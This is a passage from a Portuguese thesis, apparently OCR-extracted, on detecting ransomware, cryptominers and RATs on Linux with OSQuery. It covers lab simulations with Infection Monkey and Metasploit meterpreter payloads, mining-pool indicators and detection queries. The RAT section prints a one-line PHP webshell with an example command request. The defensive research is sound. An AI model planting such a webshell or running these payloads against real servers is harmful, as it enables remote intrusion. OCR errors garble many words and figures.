Ataques do tipo In-host sdo os mais triviais em relacdo a rotina de ataque, ou seja, sdao
aqueles nos quais os softwares de mineracdo sdo instalados diretamente nos servidores-alvo.
Neste caso, por vezes sdo utilizadas técnicas de evasio e ofuscacdo para se dificultar a investi-
gacdo em busca do malware e prolongar sua vida ttil 0 maximo possivel, tais como limitagdao
do uso de CPU (de modo a ndo se tornar um alvo facil para sistemas de controle de recursos) e
ofuscacgdo de cédigo (de modo dificultar a andlise estdtica de bindrios) [66].

Ataques do tipo In-Memory sdo aqueles nos quais o script de minera¢do ndo estd presente
em arquivos no disco do servidor atacado, mas inserido diretamente em memdria, seja atra-
vés de interfaces nativas do sistema operacional, como o terminal do Linux (utilizando-se, por
vezes, de interpretadores nativos como Python, PHP, Perl, etc.), seja através da exploragcdo de
vulnerabilidades de buffer overflow em bindrios ou processos nativos do sistema operacional
(utilizando-se de chamadas ptrace() ao sistema operacional), seja utilizando-se de funcionali-
dades nativas, tais como o uso do diretério /dev/smh para criacdo de arquivos diretamente
na memoria virtual do dispositivo, ou ferramentas pré-instaladas no sistema operacional, como

solugdes de manipulacio de containers. [64][67]
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2.3.2.3 Caracteristicas de um Ataque de Criptominerador

E importante salientar que muitos ataques relacionados a botnets, ou seja, malwares que
recebem comandos de um servidor central para executar acdes em massa (principalmente ata-
ques de negacdo de servico) utilizando-se o poder de processamento do sistema atacado, sdo
fontes primdrias de ataques de cryptojacking. Em outras palavras, muitas botnets utilizam-se
de seu acesso aos dispositivos para aproveitar o processamento “ocioso” desses aparelhos na
geracdo de lucros em criptoativos através da mineracao, como foi o caso da botnet Mirai (uma
das maiores no segmento de ataques a dispositivos de IoT) que, em meados de 2017, passou a
apresentar funcionalidades nativas de mineracdo de Bitcoin enquanto os dispositivos atacados
ndo estavam em uso pelo servidor de comando e controle [68]. Isto significa que a identifica-
¢do de comunicagdes anormais do dispositivo com enderegos desconhecidos, ou presenca de
pecas de software caracteristicas de botnets, pode ser um indicativo também da presenca de um
criptominerador.

A mineracdo de criptoativos de modo malicioso apresenta certas caracteristicas importan-
tes a serem observadas quando em busca de uma detec¢@o assertiva: Para iniciar a mineragao,
o software se conecta um pool de mineracdo (conjunto de mineradores que compartilham re-
cursos entre si, geralmente acessiveis através de uma API) para contribuir com o processo de
mineracdo coletivo e compartilhar os lucros gerados. Apds realizado o processo de ingresso
no emphpool através da API, o software recebe tarefas a serem realizadas, ou seja, cdlculos de
hashes a serem executados. Estes cdlculos sdo os responsaveis pelo alto consumo de energia
e recursos de processamento do servidor atacado. Apods a conclusdo dos célculos, os hashes
gerados sdo enviados ao emphpool para que sejam validados e, posteriormente, gerarem uma
recompensa [66].

O alto consumo de recursos de CPU (e GPU) € um dos tracos mais fortes deste tipo de
malware, como citado anteriormente. Sendo assim, uma elencagem dos processos do sistema
operacional com alto nimero de tempo de CPU pode retornar resultados importantes que indi-
quem a presenca de criptomineradores. Além disso, € importante apontar que diversos pools de
mineracdo possuem enderecos conhecidos e acessiveis publicamente. Na tabela 2.3 estdo lista-
dos os enderecos de mining pools identificados pela VMWare [vmware] em seu estudo citado
anteriormente.

Portanto, para além da andlise de recursos consumidos por processos ativos, a identificacao
de conexdes de processos do sistema operacional a qualquer um destes enderecos € um indicio

fortissimo de comprometimento do sistema por um cryptojacker.
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Mining Pool Porta | Familia Comentario
194.145.227[.]21 5443 | Sysrv Proxy

80.211.206[.]1105 6666 | WatchDog Pool Privado
monerohash[.]Jcom — Mexalz, TeamTNT, XMRig | Pool Piiblico
moneroocean|.]stream | — TeamTNT Pool Publico
pool.hashvault[.]pro — XMRig Pool Puiblico
pool.minexmr|[.]com 5555 | Sysrv Pool Piublico
pool.supportxmr[.Jcom | 443 Mexalz, TeamTNT Pool Publico
xmr-eul.nanopool[.]Jorg | 14444 | Sysrv Pool Piiblico
xmr-eu2.nanopool[.]Jorg | 14444 | Sysrv, WatchDog Pool Piiblico
xmr.f2pool[.]com 13531 | Sysrv, WatchDog Pool Piiblico
xmr.pool.gntl[.]Jco.uk 40009 | WatchDog Pool Publico

Tabela 2.3 Pools de mineracao observados nos mineradores analisados

18
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2.3.3 Ferramentas de Acesso Remoto (RATS)

Ferramentas de acesso remoto, como sugerido na prépria nomenclatura, objetivam possi-
bilitar ao atacante um acesso persistente ao sistema invadido de modo a permitir a escalada de
seus privilégios, a movimenta¢cdo do ator malicioso na rede, exploragdo manual dos sistemas
em busca de informacdes, entre outros.

De maneira geral, um ator malicioso alcanca persisténcia de acesso remoto em um sistema
invadido utilizando-se de beacons (também nomeados de implantes), que se tratam de softwares
maliciosos que objetivam possibilitar este tipo de acesso, como webshells, trojans de acesso
remoto, entre outros. Estes beacons, por vezes, além de proverem interfaces para execugao
direta de comandos no sistema operacional atacado, também apresentam funcionalidades para
o roubo automdtico de credenciais (através, principalmente, do monitoramento de atividades
de digitacdo, captura de arquivos de hashes ou varredura de largas por¢des de memoria), coleta
e exfiltracao de dados, autopropagacdo, instalacdo e execugdo de outros malwares e captura de
imagens de tela e webcam em tempo real (para o caso de ataques a aparelhos de uso pessoal)
[36].

2.3.3.1 Principais Beacons Utilizados em Ataques

Algumas das principais familias de beacons utilizados por atores maliciosos em ataques sao

vmware:

« Cobalt Strike: Uma das ferramentas mais popularizadas atualmente no cibercrime. E
vendida de forma legitima para empresas e pesquisadores como um operador multiplata-
forma de atividades de Red Team e simulador de ameacas, porém possui versdes modifi-

cadas que sdo utilizadas em diversos ataques reais [69];

* Merlin: Ferramenta open-source de comando e controle escrita em Golang e compilada
para multiplas plataformas. Realiza comunicagdo agente-servidor utilizando-se HTTP
(com possibilidade para TLS na versdo 1.1), possibilita o carregamento remoto de bina-

rios diretamente em memdria, delecdo segura de arquivos, entre outros merlin;

* RedXOR: Backdoor com alto grau de sofisticacdo para endpoints e servidores Linux.
Possivelmente administrado e distribuido por agentes cibernéticos ligados ao governo
Chinés, foi nomeado baseado em uma andlise de trafego que identificou que os pacotes

sdo ofuscados com base em operagdes do tipo XOR redxor;
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2.3.3.2 Tipos de Ferramentas De Acesso Remoto

Estes beacons tendem a atuar de duas maneiras principais nos hosts infectados [36]: de
forma passiva ou ativa.

Um beacon passivo € caracterizado por aguardar por uma conexdo externa do atacante
para que seja provido o acesso remoto. Este é o caso, por exemplo, das webshells, que
se tratam de arquivos (ou scripts) que sdo carregados em servidores de aplicacdoes web de
forma maliciosa, possibilitam a execu¢cdo de comandos diretamente na mdquina e, portanto,
sua administracdo remota [70]. Um exemplo simples de webshell € o seguinte cédigo em
PHP: <?php system($_GET[’cmd’]); ?2>. Caso este cédigo seja salvo em um ar-
quivo .php e carregado em um servidor web, qualquer usudrio que acessar seu endereco e
modificar o parametro cmd da sua requisi¢do com um comando de mdaquina arbitrario (por
exemplo: index.php?cmd=pwd), terd seu comando executado no servidor com as permis-
soes do usudrio correspondente ao servico web. Deste modo, € possivel praticar formas mais
sofisticadas de manutencdo de acesso, escalada de privilégios e movimentos laterais na rede
atacada.

Por outro lado, um beacon ativo é caracterizado por continuamente enviar mensagens a um
servidor de comando e controle, configurado previamente, de modo a se obter novas instrugdes.
Este € o caso das ferramentas mais sofisticadas, que sao utilizadas em grandes ataques, como o
Cobalt Strike [71] ou Metasploit [72]. Como muitos sistemas estdo protegidos por firewalls que
por vezes limitam o trafego de entrada, a maior parte dos RAT's opta por adotar uma abordagem
ativa de infec¢do [36]. Algumas familias de trojans, como estratégia de ofuscacdo, utilizam-se
de servicos legitimos e bem conhecidos como servidores de comando e controle, por exemplo
o Discord [73] ou o Telegram [74].

2.3.3.3 Caracteristicas de um Ataque com RAT

Trojans de acesso remoto possuem caracteristicas e finalidades que variam de acordo com
a sua autoria e podem necessitar de diferentes técnicas para sua detec¢do. Ainda que muitas
variantes apenas almejam a navega¢ao no sistema de arquivos, download e upload de dados e
execucdo de comandos nativos, outras sdo capazes de executar tarefas mais complexas de forma
automatizada, como o mapeamento e navegacao de rede (através da exploracdo automética de
vulnerabilidades em diferentes hosts), captura de credenciais, evasdo e ofuscacao (através da
injecdo de codigo malicioso em processos legitimos, por exemplo) entre outros [36].

Para atingir a persisténcia nos hosts infectados (o que significa, em resumo, a permanén-
cia do estado de execucdo do malware apds a reinicializagdo do sistema), algumas ameagas

se utilizam de mecanismos do préprio sistema operacional como, por exemplo, as crontabs
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ou entradas de XDG Autostart, como no caso do Netwire [75]. Para estes exemplos, o mo-
nitoramento de crontabs e de arquivos criados nos diretdrios /etc/xdg/autostart e
~/.config/autostart pode acusar a presenca de trojans de acesso remoto e revelar mais
informacdes sobre os processos maliciosos.

Independente de quais capacidades apresente, ou de quais técnicas sejam utilizadas em cada
fase do processo infeccioso, uma ferramenta de acesso remoto necessita de manter conexoes
constantes com servidores externos para reportar status, receber comandos, trafegar dados,
entre outros. Isto significa que uma observacdo mais granular de quais sockets estdo ativos
no sistema operacional também pode acusar a presenca de um malware deste tipo a partir
da identificacdo de conexdes com enderecos externos desconhecidos por quaisquer que sejam
0s processos responsaveis, sejam estes legitimos ou ndo (visto que algumas ameacas também
podem se utilizar de técnicas de inje¢do de c6digo em memoria para se mascarar em processos

nativos do sistema operacional) [36].
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2.4 'Trabalhos Relacionados

Tratando-se do estudo de ferramentas open-source para a detec¢do de ameacas sofisticadas
a computadores, [76] realiza uma andlise na performance da combinacdo do OSQuery com o
framework GRR [77], focado na atuacdo de resposta a incidentes em dispositivos remotos. Este
estudo demonstra, através da reproducdo de diversas técnicas presentes na matriz ATT&CK
[9] nos diferentes estdgios de um ataque e utilizacdo de queries, disponiveis publicamente,
focadas na detec¢do de comportamentos maliciosos, que uma estratégia de deteccao e resposta
a incidentes em computadores utilizando-se as ferramentas citadas ¢ bem sucedida em todos
os estagios da infeccdo, mesmo que, para alguns destes, a taxa de cobertura das consultas do
OSQuery seja relativamente baixa. De modo a otimizar esta solucdo, os autores recomendam
a adaptacdo das queries para as caracteristicas do ambiente a ser protegido, para que haja
uma maior deteccdo em cendrios mais complexos de ataque. Este trabalho complementa o
estudo mencionado ao explicitar quais técnicas sdo utilizadas pelos malwares em seu processo
infeccioso e quais métricas sdo utilizadas para realizar a identificacdo do cendrio de ataque
através do OSQuery.

Por outro lado, [78] propde uma abordagem diferente para a utilizacdo do OSQuery: A
ferramenta € utilizada em conjunto com o Zeek [79], um framework open-source para andlise
de redes, de modo a ampliar suas capacidades analiticas com o objetivo de vincular conexdes
de rede ndo apenas a seus hosts de origem, mas também aos processos e usudrios responsaveis.
Esta combinacao, que faz uso das capacidades do Zeek para interceptagdo e andlise de trafego e
do OSQuery para o monitoramento dos eventos de processos no sistema operacional, consegue
atribuir, em tempo real, mais de 96% de todas as conexdes TCP as suas origens (processos e
usudrios responsaveis) nos hosts monitorados, ao contrario de menos de 0,1% de conexdes vin-
culadas quando feito uso do apenas do Zeek. Contudo, o estudo leva em consideragdo apenas
eventos do sistema operacional que acarretam em alguma comunicacgdo externa ao dispositivo,
deixando de lado aqueles que ocorrem exclusivamente em ambiente local.

Levando-se em conta, novamente, a detec¢do e resposta nos dispositivos remotos, [80]
faz uso dos artefatos disponiveis na instalagdo padrao do OSQuery, combinados com o Fleet
[81] (uma ferramenta open-source para configuracido remota do OSQuery) e a stack ELK [82]
(conjunto de ferramentas composto pelo Logstash, para coleta e envio de mensagens de log,
ElasticSearch, para armazenamento, indexagdo e consulta de mensagens de log e Kibana, para
visualizacdo das mensagens de log) para a simulacdo de uma resposta a incidente de segu-
ranca. Na andlise documentada, s@o utilizadas consultas disponiveis nos pacotes de queries ja
presentes na instalacdo do OSQuery, combinadas com consultas customizadas no decorrer dos

procedimentos, para a investigacao de presenca de softwares maliciosos nos hosts simulados.
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O autor conclui que os pacotes de consultas presentes na instalacdo padrao do OSQuery sdo
eficazes para encontrar indicadores iniciais de softwares indesejados em endpoints e podem ser
usados como ponto de partida para investigacdes. Também recomenda que conhecimentos em
sistemas operacionais e linguagem SQL podem ser tteis para aprofundar a utilizacdo das fer-
ramentas, porém nao sao essenciais para que uma equipe de segurancga seja capaz de executar
procedimentos investigativos eficazes com os programas apresentados. Este trabalho comple-
menta o estudo mencionado ao expandir os testes de ataques realizados e se utilizar de outras
consultas SQL para além daquelas presentes na instalacdo padrao do OSQuery.

De forma similar, [83] realiza a simulacdo de um cendrio de ataque a um servidor Linux, que
executa uma versdao mal configurada do Apache Tomcat, através do framework de pentesting
Metasploit [72] e dividida em trés etapas: Acesso inicial, movimento lateral e escalacdo de
privilégios. Para realizar a deteccdo de intrusdo em cada uma dessas etapas, o autor se utiliza
de consultas as tabelas do OSQuery correspondentes a eventos de rede, de processos € no
sistema de arquivos. Os resultados destas consultas, executadas com frequéncia, sdo avaliados
por um script que aplica expressodes regulares com o objetivo de se encontrar termos maliciosos
presentes nos seus conteidos, pertinentes a cada etapa da intrusdo. Os autores conclui que o
OSQuery, através do uso de métodos heuristicos para busca de evidéncias, é capaz de detectar
ataques tanto do ponto de vista de eventos de rede quanto de eventos do sistema operacional.
Este trabalho complementa o estudo mencionado ao realizar simulagdes de ataques de outras

naturezas além dos apresentados.



Capitulo 3
Metodologia

A avaliagdo a seguir objetiva ponderar a eficicia do OSQuery na deteccdo de comporta-
mentos maliciosos através da observagdo dos retornos gerados pelas consultas a recursos do
sistema operacional durante as simulacdes de comprometimento por agentes maliciosos. Serd
avaliado se as mensagens de log geradas pelo OSQuery possuem dados suficientes para que
uma pessoa analista seja capaz de identificar uma situagcdo de risco. Além disso, serd obser-
vada a performance das consultas, de modo a se mensurar seu impacto causado nos recursos
do sistema operacional.

Seguem trés etapas: Simulacdes de ataques a um ambiente de servidor Linux emulado;
Utilizacao do OSQuery para a deteccdo de comportamentos maliciosos caracteristicos de cada

cenario; Analise dos resultados obtidos com a ferramenta.

3.1 Ferramentas Utilizadas Para Analise

Para a realizacio da fase de deteccdo dos testes, serd utilizada a ferramenta open-source

OSQuery, apresentada abaixo.

3.1.1 OSQuery

O OSQuery é uma ferramenta open-source que expde o sistema operacional do dispositivo
no qual estd instalado como um banco de dados relacional. Desta forma, é possivel se executar
consultas SQL para explorar informacdes deste dispositivo, como, por exemplo, “processos
em execucdo, modulos de kernel carregados, conexdes de rede abertas, plugins de navegador,
eventos de hardware ou hashes de arquivos” [84].

A instalagdo do OSQuery pode ser feita de diversas formas, incluindo por meio de arqui-

24
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vos .deb obtidos tanto através da pagina do projeto no GitHub [85] quanto no préprio site da
ferramenta [86]. ApOs a instalacdo, € possivel realizar consultas em tempo real ao proprio host
através da interface acessada por meio do comando osqueryi. E importante ressaltar que,
dependendo de qual contexto de usudrio inicie a interface (usudrio comum ou privilegiado), os
resultados para algumas tabelas podem variar.

Como exemplo, caso um usudrio deseje listar quais s@o os grupos de usudrios disponiveis

em seu sistema, pode executar a seguinte query:

SELECT » FROM groups;
O resultado esperado assemelha-se a figura 3.1.

~ osqueryi

virtual database. Need help, type '.help'
SELECT * FROM gro

news
uucp
man
proxy

Figura 3.1 Resultado da consulta a tabela groups do osquery

De forma mais complexa, caso o usudrio deseje listar os 10 principais aplicativos ou pro-
cessos distintos que mais consomem recursos de memdria, basta executar a seguinte query, que
realiza consultas a tabela processes de modo a se obter valores arredondados utilizados por
cada processo, agrupado por nome:

SELECT pid, name, SUM(ROUND ((total_size % "10e-7"), 2)) AS memory_used
FROM processes
GROUP BY name

ORDER BY total_size
DESC LIMIT 10;

O resultado esperado assemelha-se a figura 3.2.
A lista completa de tabelas disponiveis e suas respectivas colunas estd presente no website

da ferramenta ou através da propria interface por meio da combinagdo dos comandos . tables
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ELECT pid, nam

102323

6596

containerd
d d

Figura 3.2 Resultado da consulta aos processos com mais consumo de memoria.

€ .schema.

Além de consultas locais, € possivel se configurar o OSQuery para ser configurado e res-
ponder a consultas de forma remota através de seus plugins nativos. Esta feature é bastante
util quando € preciso realizar o monitoramento de dezenas, centenas ou milhares de hosts ou
quando faz-se necessdrio realizar um procedimento de investigagdo em um dispositivo presente
em outra localidade. De modo a facilitar a utiliza¢do destas funcionalidades, existem diversas
ferramentas, também open-source, dedicadas ao gerenciamento remoto de agents OSQuery,
tais como Fleet [81] e Osctrl [87].

Estas e outras funcionalidades sdo devidamente configuradas em um arquivo de flags (loca-
lizado em /etc/osquery/osquery.flags) e em um arquivo de configuragdes em for-
mato JSON (localizado em /etc/osquery/osquery.conf) que armazenam especifici-
dades implementadas pelo servico do OSQuery presente no sistema operacional. Mais detalhes
a respeito da configuragdo podem ser consultados na documentacio da ferramenta [88].

E importante salientar que o OSQuery trata-se apenas de uma interface entre o usudrio e
o sistema operacional, de modo a facilitar a obtencdo de informagdes do estado do sistema
através de queries SQL. Por ser uma ferramenta notavelmente generalista, o OSQuery serd
utilizado nos experimentos por meio da aplicacdo de técnicas de detec¢do de malware através
do desenvolvimento de queries que monitorem e correlacionem comportamentos especificos
do sistema operacional em busca de anomalias que possam indicar o comprometimento deste

sistema por malwares dos tipos apontados anteriormente.
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3.2 Ferramentas Utilizadas Para Emulacao de Ataques

Para a etapa de simulacdo de infec¢do, serdo utilizadas ferramentas distintas para cada

cendrio a seguir:

3.2.1 Ataque de Ransomware

Para a emulagdo de um ataque de Ransomware, serd utilizada a ferramenta open-source
Infection Monkey [89]. Esta ferramenta, desenvolvida pela empresa israelense Gardicore (ad-
quirida pela firma de tecnologia Akamai em 2021 /citeguardicore-akamai), tem o objetivo de
automatizar testes de seguranca de servidores através da implementacdo de técnicas de intrusao
que buscam simular ataques e validar controles de seguranca e resili€ncia.

Dentre os diversos tipos de ataques disponiveis, o Infection Monkey é capaz de simular
uma infec¢do por Ransomware através da encriptacdo de arquivos especificados pelo usudrio
utilizando-se um algoritmo facilmente reversivel: € realizado uma inversdo nos bits dos arqui-
vos que, em seguida, sdo renomeados com a extensdao .m0nk3y. De acordo com a documenta-
cdo da ferramenta: “Inverter os bits de um arquivo € suficiente para simular o comportamento de
criptografia do ransomware, pois os dados em seus arquivos foram manipulados (deixando-os
temporariamente inutilizdveis). Os arquivos sdo renomeados com uma nova extensao anexada,
que € semelhante a maneira como muitos ransomwares se comportam.” [90].

Para os testes, serd populado um diretério com aproximadamente 2GB de arquivos de 75
extensoes diferentes (conjunto aceito pelo Infection Monkey, baseado em uma andlise do Bit-
Defender [90]) para que a ferramenta possa realizar o processamento enquanto as andlises sao

executadas.

3.2.2 Ataque de Criptominerador

Como citado anteriormente, o XMRig Miner estd presente em cerca de 89% dos ataques
analisados pela VMWare. Portanto, esta serd a ferramenta utilizada para a emulagdo de um
ataque de Criptominerador. Serd avaliado o estado de execu¢do do minerador e suas respectivas

tentativas de identificacd@o através do OSQuery.

3.2.3 Ataque de RAT

Para a emulacido de um ataque por ferramenta de Acesso Remoto, serdo gerados dois pay-
loads de acesso remoto com o framework Metasploit (devido a facilidade de customizagdo do

endereco do servidor de comando e controle):
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Um beacon passivo (do tipo linux/x64/meterpreter/bind_tcp) que serd nomeado como:

Linux.RAT.meterpreter_bind_tcp

Um beacon ativo (do tipo linux/x64/meterpreter/reverse_tcp), que serd nomeado como:

Linux.RAT.meterpreter_reverse_tcp.

Estes payloads serdo executados no ambiente de testes e serdo realizadas queries para se
identificar possiveis evidéncias de infec¢ao.

Serdo avaliados dois cendrios caracteristicos destes beacons: em estado idle, ou seja, aguar-
dando conexdo e em estado de conexdo ativa. Além disso, serdo simuladas as duas estratégias

de persisténcia apresentadas anteriormente e suas respectivas tentativas de identificacao através
do OSQuery.

3.3 Ambiente Testado

—_—
N
Kali Linux 2022.3 Ubuntu 22.04.1:
IP virtual: 172.16.0.4 OSQuery v5.4.0-1

IP virtual: 172.16.0.3

Virtualbox 6.1.36

Figura 3.3 Representacdo do ambiente utilizado nas andlises

De modo a facilitar o experimento, os testes serdo realizados em um ambiente virtualizado
Ubuntu 22.04.01 com interface gréfica, cujo hostname é ubntg. Esta distribui¢do Linux foi
escolhida baseada em dados da W3Techs [91] que mostram que em 2022, dos 10 milhdes de
sites mais acessados da internet, 33.7% destes estao sendo hospedados em servidores Ubuntu,
seguidos por 16.3% em servidores Debian, 9.7% em CentOS.

O ambiente serd virtualizado utilizando-se o Virtualbox em sua versao 6.1.36 r152435
(Qt5.15.3). Para a realizacdo dos testes relacionados a simulacdo de Ransomware e RATsS,

serd necessdrio se utilizar de uma segunda maquina para simular um atacante. Esta maquina
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serd um ambiente Kali Linux 2022.3. Nestes cendrios, sera utilizada uma rede interna isolada
com mascara 172.16.0.1/24, na qual a maquina alvo possuird o endereco 172.16.0.3 € uma
madquina atacante possuird o endereco 172.16.0.4.

A versdao do OSQuery instalada no ambiente de testes € a 5.4.0-1. Uma representacao do

ambiente utilizado nas andlises estd presente na figura 3.3.

3.4 Avaliacao dos Resultados

Em um primeiro momento, para validar a eficicia das queries propostas na detec¢do dos
cendrios apresentados, serd realizada a consulta em tempo real as tabelas do OSQuery através
de sua ferramenta de terminal interativo (osqueryi). Nos casos em que seja necessdria a utili-
zacdo de flags para ativacdo de funcionalidades especificas em cada situacdo, tais flags e seus
respectivos valores serdo apresentados.

Em um segundo momento, as queries que apresentarem respostas que explicitem os com-
portamentos simulados em cada cendrio terdo sua performance em relacdo a consumo de re-
cursos avaliada utilizando-se a ferramenta de geracdo de perfil de queries provida pelo proprio
time do OSQuery. De acordo com a documentacio da ferramenta [92], a avalia¢do de perfor-
mance usa a biblioteca psutil de python para coletar estatisticas de processamento do osqueryi
enquanto executa as queries avaliadas.

Sao retornados cinco valores:

Utilizacao (U): Utilizagdao de CPU calculada tomando a média dos resultados diferentes de
0 da fun¢do cpu_percent (interval=1) de psutils.Process (). Esse valor pode
ser maior que 100% para processos com threads em execu¢cdo em CPUs diferentes.

Tempo de CPU (C): O tempo de CPU ¢ calculado através da fun¢do cpu_times ()
de psutils.Process (). Ele retorna uma tupla nomeada contendo user (tempo gasto no
modo de usudrio), system (tempo gasto no modo kernel), children_user (tempo do usudrio de
todos os processos filhos), system_user (tempo do usudrio de todos os processos filhos) e iowait
(tempo gasto aguardando a conclusio do bloqueio de I/O.

Duracao (D): Tempo gasto para execugdo de cada query em teste.

fds (F): Usa a funcdo num_fds () eretorna os descritores de arquivo usados pelo processo
osqueryi durante a execu¢ao da query testada.

Meméria (M): Valor de memoria fisica (exceto swap) usada pelo processo do osqueryi.

Para que a avaliacio seja executada, é necessdrio que sejam especificadas as queries do teste
a partir de um arquivo que segue a mesma estrutura do arquivo osquery.conf citado anterior-

mente. Para cada cendrio de teste, serd registrado o arquivo de configuracao utilizado.
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Por fim, serdo avaliados os logs gerados pelo OSQuery deamon configurado a partir do
arquivos de configuracdo obtidos apds a avaliacdo de performance, ou seja, logs (localiza-
dosem /var/log/osquery/osquery.results.log) que podem ser exportados para
aplicacdes de ingestdo e processamento de logs e utilizados na geracdo automadtica de alertas,
producdo de métricas e visualizacdes, além de investigacdes por parte de analistas de seguranca

da informacao.



Capitulo 4

Desenvolvimento

4.1 Deteccao de Ataque de Ransomware

Como citado anteriormente, para a realizagdo deste experimento, foi utilizado um script
em python (criado a partir do script [93]), localizado em [94], para se popular um diretério na
madquina alvo com aproximadamente 2 GB de arquivos (cujo contetido trata-se apenas de até 5

MB de bytes aleatérios) de diversas extensdes.

4.1.1 Preparacao do Ambiente

O comando utilizado para a geracao dos arquivos a serem encriptados é o que segue:

python3 generator.py \
-d 1 -n 200 -r 2 -p /home/tester/important_files

Este comando resultou na criacao de aproximadamente 810 arquivos localizados no diret6-
rio /home/tester/important_files, como forma de simular um diretério especifico
na maquina que armazena os arquivos mais importantes para a sua operacao (como apresentado

na figura 4.1).

4.1.2 Simulacao de Ataque

Ap6s a geracdo dos arquivos, foi feita a preparacao do executdvel responsavel pela simula-
¢do do ataque. Com o objetivo de se simular um ataque semelhante aos encontrados no mundo
real, como citado anteriormente, a partir da interface do Infection Monkey foi habilitada a

varredura de rede bem como tentativa de exploracdo de diversas vulnerabilidades nos hosts

31



4.1 DETECCAO DE ATAQUE DE RANSOMWARE 32
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-TW-TW-T--
STW-TW-T--
-rW-TW-F--
-TW-TW-F--
-TW-TW-T--
STW-TW-T--
STW-TW-T--

1
1
1
1
1
1
1
1
!
1
1
1
!
1
1
1
!
1
1
1
1
1
1
1
1
!

$ 1s -1lh important_files/

er tester 1,8M set
tester 3,8M set

r tester 38K set
tester 1,9M set
tester 1,4M set
tester 3,5M set
tester 47K set
tester 1,7M set
tester 2,7M set
tester 1,3M set
tester 3,4M set
tester 1,8M set
tester 2,0M set
tester 3,3M set

r tester 4,8M set
tester 1,6M set
tester 2,1M set
tester 4,2M set
tester 4,8M set

r tester 3,3M set
tester 2,5M set
tester 3,4M set
tester 1,4M
tester 2,9M

r tester 4,0M
tester 788K

[ T e T T T T e S B R e N = =

®3E91s. kdbx
07ceh7.dwg
B@AFHDb. al
BETGPV. 3ds
OFMzQen2zA.ovf
BHRIXk.vbox
OHX216yI.work
81Gf3Rvz.cfg
®ikuFyYugb.dbf
BOLKkX11U8. x1sx
OMIpPWGT . py
onrWdLXE.giff

OPycVMD.cfg
0Q2WQ.rtf
@rgBY5zcsi.vch
@s7gIso0.dbf
Buavh.asp

14j8p9X.asp
173Bz51pK. pptx
170bcSUc. bak
1Iw77e7QZf.vmsd
1K3NhWvXP.djvu
111vTc.py
loowDvsz0.giff

Figura 4.1 Inicio da lista de arquivos criados para a simulagdo, destaque para o tamanho total do dire-

tério

encontrados pelo agente. Uma vez configurado, o executdvel (nomeado monkey-linux-64) foi

transferido para a maquina alvo através da rede virtual e executado.

Como tentativa de deteccdo da etapa de varredura de rede do processo infeccioso, foi utili-

zada a query “linux_process_open_sockets” disponivel no repositério osquery-attck [95], que

realiza a combinacdo de trés tabelas: processes (através da consulta de PID, nome do processo

e linha de execugdo), users (através da consulta de nome de usudrio responsavel pelo processo

com o PID apresentado) e process_open_sockets (através da consulta de valores dos enderecos

e portas remotos do host conectado ao processo e estado da conexao):

SELECT u.username,

p.pid,
p.name,

p.cmdline,

pos.remote_address,

pos.remote_port,

Listing 4.1 Query “processes_open_sockets”
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pos.state
FROM processes AS p
JOIN users AS u
ON u.uid=p.uid
JOIN process_open_sockets AS pos
ON pos.pid=p.pid
WHERE pos.remote_port !='0';

A execucdo da query, no momento em que o ransomware esta realizando a varredura de
rede, retorna um resultado com informag¢des que evidenciam a situagdo, como apresentado na
figura 4.2.

SELECT u.username,
p.pid,
p.name,
p.cmdline,
pos.remote_address,
pos.remote_port,
pos.state
FROM processes AS p
JOIN users AS
ON u.uid=p.uid
JOIN process_open_sockets AS pos
ON pos.pid=p.pid
c WHERE pos.remote_port !='0';
Fommmmmmm-- Fo-m--n-
username

+
|

-

| monkey-11 . /monkey-1lin monk3y -
| monkey- 11 . /fmonkey-1in menk3y -
| monkey-linu . fmonkey-11inux menk3y -
| monkey-linu . fmonkey-1inux menk3y -
| monkey-linuw . fmonkey-1inux mlnk3y -
| monkey-1i . ce i mlnk3y -
| monkey-11 5 ce i monk3y -
| monkey- 11 o ce i menk3y -
| monkey- 11 o ce i menk3y -
| monkey-linu . fmonkey-11inux menk3y -
| monkey-linu . fmonkey-1inux menk3y -
| monkey-1i . ce i mOnk3y -
| monkey-11 5 ce i menk3y -
| monkey- 11 5 ce i monk3y -
| monkey- 11 o ce i menk3y -
| monkey-linu o menk3y -
| ¢ ménk3y -
| mBnk3y -
monk

[ R T RV O R R R T RV Y BV R R T BT T

B R R il R~ SN I N R R S
o 0000000000000 0000C0

Figura 4.2 Resultado da execucdo da query processes_open_sockets em simulacdo de ransomware

A segunda etapa da infec¢do, a de encriptacdo dos arquivos, iniciou-se assim que a varre-
dura terminou. Para a detec¢do deste comportamento, é necessdrio se fazer uso da funciona-
lidade de monitoramento de sistema de arquivos do OSQuery. Esta funcionalidade exige que
sejam especificados, no arquivo osquery.conf, quais diretérios devem ser monitorados através

da tag file_paths. Neste exemplo, utilizou-se a seguinte configuracao:
{"file_paths":{"important_files":["/home/%/important_files/%%"]}}
Para a realizacdo do teste, foi necessdrio se inicializar o osqueryi com as seguintes flags:

sudo osqueryi \

—-—events_expiry=3600 \
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——events_max=5000 \
-—-disable_events=false \

——enable_file_events=true

34

Com o console ja disponivel, foi realizada a criacdo do arquivo mencionado no diretério

de important_files do usudrio tester e consultados os eventos de arquivo ocorridos neste meio

tempo através da query:

Listing 4.2 Query “file_events”

SELECT » FROM file_events;

O resultado obtido € apresentado na figura 4.3 (para melhor visualizagdo, foram seleciona-

das apenas as tabelas rarget_path e file_events).

select target_path, action from file_events;

fhome /tester /important_files/03E91s.
fhome /tester /important files/G3E%1s.
/home /tester /important files/®3E91s.
fhome /tester /important_files/03E91s.
fhome /tester /important files/B3E%1s.
/home /tester /important files/®3E91s.
fhome /tester /important_files/07ceh?.
/home /tester /important files/@7ceh7.
/home /tester /important files/87ceh?.
fhome /tester /important_files/07ceh7.
fhome /tester /important files/@7ceh7.
/home /tester /important files/87ceh?.

kdbx

kdbx

kdbx

kdbx
kdbx.mé@nk3y
dwg

dwg

dwg

dwg

dwg
dwg.ménk3y

fhome /tester /important_files/0AFHb.al
fhome /tester /important files/OAFHb.ai
Jhome /tester /important files/8AFHb.al
/home /tester /important_files/0AFHb.ai.monk3y

fhome /tester /important files/GEFGPV.
/home ftester /important files/BEFGPV.
fhome /tester /important_files/BEFGPV.
Jhome /tester /important files/GEFGPV.

Figura 4.3 Resultado da execucdo da query file_events em simulac@o de ransomware

3ds
3ds
3ds
3ds

UPDATED
UPDATED
UPDATED
UPDATED
MOVED_FROM
MOVED_TO
UPDATED
UPDATED
UPDATED
UPDATED
MOVED_FROM
MOVED_TO
UPDATED
UPDATED
MOVED_FROM
MOVED_TO
UPDATED
UPDATED
UPDATED
MOVED FROM

Sao listados os diversos eventos de modificagdo nos arquivos presentes no diretério moni-

torado, o que evidencia que o estdgio de encriptacdo dos arquivos por parte do agente malicioso

